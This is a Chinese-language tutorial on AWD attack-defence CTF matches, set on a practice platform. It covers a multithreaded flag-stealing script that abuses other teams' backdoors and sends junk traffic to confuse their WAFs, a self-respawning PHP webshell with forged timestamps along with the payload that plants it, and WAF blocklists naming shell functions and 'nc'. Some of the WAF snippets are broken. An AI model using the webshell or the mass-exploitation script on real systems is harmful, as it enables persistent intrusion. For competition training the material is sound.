AWD一般流程
准备工作
以buuoj Basic里的AWD-Test1作为例子
首先会给我们一个账号,但这个账号是低权限的,每个队伍都有一台服务器,一般来说服务器上有一个充满漏洞的web服务,然后开放了ssh端口,并且每个队伍服务器基本上都是一样的,所以需要我们在修复期修复自己服务器上的漏洞然后利用漏洞去攻击其他队伍的服务器。
这里我们的账号为glzjin,密码为123456,可以使用xshell进行连接
使用账号密码连接成功后把密码改的尽可能复杂
之后进入网站目录,对源码进行打包
tar -cvf html.tar /var/www
使用xshell的ftp功能传输源码备份
扫ip
因为一般的awd,对手的ip也就那几个变化,上nmap之类的扫起来太慢了,其实写个脚本就够了
import pythonping
from concurrent.futures import ThreadPoolExecutor
def get_ip(ip):
res = pythonping.ping(ip)
if "Reply" in str(res):
print(ip + " 是存活地址")
ip = []
for num in range(1, 255):
ip.append("192-168-1-" + str(num) + ".pvp1964.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
result = executor.map(get_ip, ip)
找漏洞
使用D盾对源码进行后门检查
右键,查看文件,可以看见文件的内容,确实是一个后门
记住它的位置,后面我们可以用这个后门打其他的队,我一般喜欢覆盖个假的马上去:
<?php
if (isset($_POST['MINI'])){
echo 'flag{dee5e757-002f-11ee-ac0f-145afc016425}';
}
?>
把修改了的文件覆盖过去
这样就消除了我们本地的后门,然后我们可以写脚本进行攻击:
import random
import re
import threading
import requests
ipslist = open("ips.txt").readlines()
submitapi = "http://127.0.0.1:80/submit.php" #提交flag的接口
token = "xxxx" #提交flag需要用到的token,如果有的话
flagtag = "flag" #flag标签,如 flag、ctf、*ctf
ip1 = ["192.168.1.1"] #白名单IP,以防打到自己的
port = 80 #目标端口
ips = []
for i in ipslist:
if not i in ip1:
ips.append(i)
ipslist = ips
def getflag(ip):
flag = ""
url = "http://" + ip + f":{port}/index.php"
try:
res = requests.post(url,{"cmd":"cat /flag"},timeout=2).text
fh = re.findall(flagtag + "\{.*\}", res)
if len(fh) > 0:
flag = fh[0]
except:
pass
return flag
# 获取flag
def submit(flag):
res = requests.post(submitapi,data={"token":token,"flag":flag}).text
if "ok" in res:
return True
return False
# 提交flag
def start():
count = 0
faild = []
for i in ipslist:
ip = i.strip()
if ip != "":
threading.Thread(target=wafkill,args=(ip,port)).start()
flag = getflag(ip)
if flag == "":
faild.append(ip)
continue
if submit(flag):
count += 1
print("提交成功:",flag)
threading.Thread(target=wafkill, args=(ip, port)).start()
else:
faild.append(ip)
print("提交失败:",flag)
res = "本次成功提交" + str(count) + "次flag,总共 " + str(count + len(faild)) + "个目标。未成功提交的IP如下:"
for i in faild:
res += i + "\r\n"
print(res)
# 主函数
def wafkill(ip, port):
port = str(port)
evildict = ['system', 'eval', 'file_get_contents', 'shell', '/flag', "'or 1#", 'load_file', '`cat /flag`',
'file_put_contents', 'assert']
route = ['index.php', '']
field = ["cmd","shell","a","m","s","c"]
arge = ['cat /flag', 'system("cat /flag")', '/flag', '$_GET[xxx]', '$POST[xxx]']
for i in route:
for j in evildict:
arg = arge[random.randint(99, 999) % len(arge) - 1]
url = "http://" + ip + ":" + port + "/" + i + "?" + field[random.randint(99, 999) % len(field) - 1] + "=" + j + "('" + arg + "')&" + evildict[
random.randint(99, 999) % len(evildict) - 1] + "=" + arge[random.randint(99, 999) % len(arge) - 1]
try:
requests.post(url, {field[random.randint(99, 999) % len(field) - 1]: j + "(' " + arg + "')"}, timeout=2)
except:
break
# 乱发数据,干扰waf
if __name__ == "__main__":
start()
排除主办方预留的后门后,我们需要对源码进行审计找到漏洞,这里可以使用Seay进行审计,用goby进行漏洞扫描,找到漏洞后进一步利用
写不死马
比如上面我们找到命令执行的点之后,可以把我们自己的不死马写进去
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.m4x.php';
$code = '<?php if(md5($_POST["passwd"])=="c9d3243cbc0974a72d89aa1de8011c0b"){@eval($_POST["m4x"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" ' . $file);
usleep(5000);
}
?>
这是一个内存不死马,即使是rm -rf *后也会继续存在,并且使用了md5对密码进行加密,这里的密码是fushuling666777,这里我们使用POST提交,以防流量记录到密码。
比如上面我们用D盾扫到了一个hint.php后门,我们就可以用那个后门把我们自己的内存不死马写进去:
POST MINI=file_put_contents('.1.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=".m4x.php";$code=\'<?php if(md5($_POST["passwd"])=="c9d3243cbc0974a72d89aa1de8011c0b"){@eval($_POST["m4x"]);} ?>\';while(true){file_put_contents($file,$code);system("touch -m -d \"2018-12-01 09:10:12\" ".$file);usleep(5000);}?>')
然后访问.1.php会一直转圈圈,这时我们的后门就已经生成好了,访问.m4x.php,进行进一步利用
AWDP
PHP
命令执行waf
function wafrce($str){
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}
sql注入waf
function wafsqli($str){
return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
$username = addslashes($username);
$password = addslashes($password);
xss waf
function wafxss($str){
return !preg_match("/\'|http|\"|\`|cookie|<|>|script/i", $str);
}
目录穿越waf
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
$deny_ext = array("..","../");
if (in_array($action, $deny_ext)){
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
}
文件上传waf
<?php
$allowed_extensions = array("jpg", "png", "gif"); // 允许上传的文件后缀名
$filename = $_FILES["file"]["name"];
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); // 获取文件后缀名并转换为小写
if (!in_array($extension, $allowed_extensions)) { // 检查文件后缀名是否在允许上传的列表中
echo "不允许上传该类型的文件!";
} else {
$target_file = "uploads/" . basename($filename); // 为上传文件指定目标路径
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); // 将文件从临时目录移动到目标路径
echo "文件上传成功!";
}
}
文件包含漏洞waf
这玩意儿真的有waf吗,正常代码中真的会出现这种被包含文件可控的情况吗
主办方的exp一般都是最简单的那种,这样一般够了,然后是写patch包
假如我们的目标是ttttteeeessst.php,它是一个一句话后门,我们可以把我们的waf给加上:
<?php
error_reporting(0);
highlight_file(__FILE__);
function wafrce($str){
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}
system(wafrce($_POST[cmd]));
?>
然后写update.sh(第一种是一般的默认路径,第二个是全局搜索ttttteeeessst.php然后把它作为路径覆盖,第二第三之所以看起来重复了,是因为我发现根目录下的话pwd出来是/,//ttttteeeessst.php是没法匹配到根目录下的ttttteeeessst.php的,导致文件重复了,而其他路径,比如/var/www,pwd出来就是/var/www,最后需要加一个/)
#!/bin/bash
cp ttttteeeessst.php /var/www/html/ttttteeeessst.php
cp ttttteeeessst.php $(dirname `find / -not -path "/ttttteeeessst.php" -name 'ttttteeeessst.php' 2>/dev/null`)/ttttteeeessst.php
cp ttttteeeessst.php $(dirname `find / -not -path "$(pwd)/ttttteeeessst.php" -name 'ttttteeeessst.php' 2>/dev/null`)
打包指令:
tar zcvf update.tar.gz ttttteeeessst.php update.sh
解压指令:
tar zxvf update.tar.gz
平台接受到后会自动chmod 777 update.sh然后运行
python
#!/bin/sh
cp /app.py /app/app.py
ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
cd /app && nohup python app.py >> /opt/app.log 2>&1 &
JS
#!/bin/sh
cp server.js /app/server.js
ps -ef | grep node | grep -v grep | awk '{print $2}' | xargs kill -9
cd /app && nohup node server.js >> /opt/aa.log 2>&1 &
function waf(query) {
if (query.includes("flag") || query.includes("nc")) {
throw new Error("禁止使用 flag 和 nc 关键字!");
} else {
// 执行正常操作
}
}